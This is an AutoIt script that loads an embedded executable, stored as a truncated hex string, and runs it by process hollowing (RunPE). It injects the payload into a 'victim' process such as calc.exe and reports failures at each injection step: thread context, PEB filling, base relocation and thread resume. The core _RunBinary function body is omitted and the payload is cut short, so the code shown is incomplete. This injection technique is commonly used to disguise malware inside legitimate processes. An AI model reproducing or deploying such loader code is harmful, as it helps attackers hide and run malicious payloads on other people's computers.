$sData = '0x'
$sData &= '4D5A50000200000004000F00FFFF0000B80000000000000040001A00000...'
$sData=Binary($sData)
Global $bBinary = FileRead($sData)
Global $iNewPID
; Try 10 times in case of failures
For $i = 1 To 10
ConsoleWrite("Try No" & $i & @CRLF)
$iNewPID = _RunBinary($bBinary);, "", @SystemDir & "\calc.exe") ; if it fails on for example XP, try another 'victim'.
If Not @error Then ExitLoop
Next
; Let's see if there were any errors
Switch @error
Case 0
ConsoleWrite("New process sucessfully created. PID is: " & $iNewPID & @CRLF)
Case 1
MsgBox(48, "Error", "New process couldn't be created!" & @CRLF & "Check if the path is correct.")
Case 2
MsgBox(48, "Error", "Wrong AutoIt!" & @CRLF & "Should be x64 for x64 and x86 for x86.")
Case 3
MsgBox(48, "Error", "GetThreadContext function failed!" & @CRLF & "Something is wrong.")
Case 4
MsgBox(48, "Error", "Binary data seems to be corrupted!" & @CRLF & "MS-DOS header is wrong or missing.")
Case 5
MsgBox(48, "Error", "Binary data seems to be corrupted!" & @CRLF & "PE signature is wrong.")
Case 6
MsgBox(48, "Error", "Wrong AutoIt!" & @CRLF & "Should be x64 for x64 and x86 for x86.")
Case 7
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while writting new module binary.")
Case 8
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while filling PEB structure.")
Case 9
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while changing base address.")
Case 10
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure with SetThreadContext function.")
Case 11
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure with ResumeThread function.")
Case 101
If @extended Then
MsgBox(48, "Error", "Error!" & @CRLF & "Not enough space available at desired address. Try again maybe, or change the 'victim'.")
Else
MsgBox(48, "Error", "Error!" & @CRLF & "Executable you try to run is not relocatable. This lowers the possibility of running it in this fassion." & @CRLF & "Try again or find another 'victim', maybe you'll get lucky.")
EndIf
Case 102
MsgBox(48, "Error", "Itanium architecture!" & @CRLF & "No solution. Sorry." & @CRLF & "How did you manage to end up here is beyond my comprehension.")
EndSwitch
; FUNCTION
Func _RunBinary($bBinaryImage, $sCommandLine = "", $sExeModule = @AutoItExe)
;...
EndFunc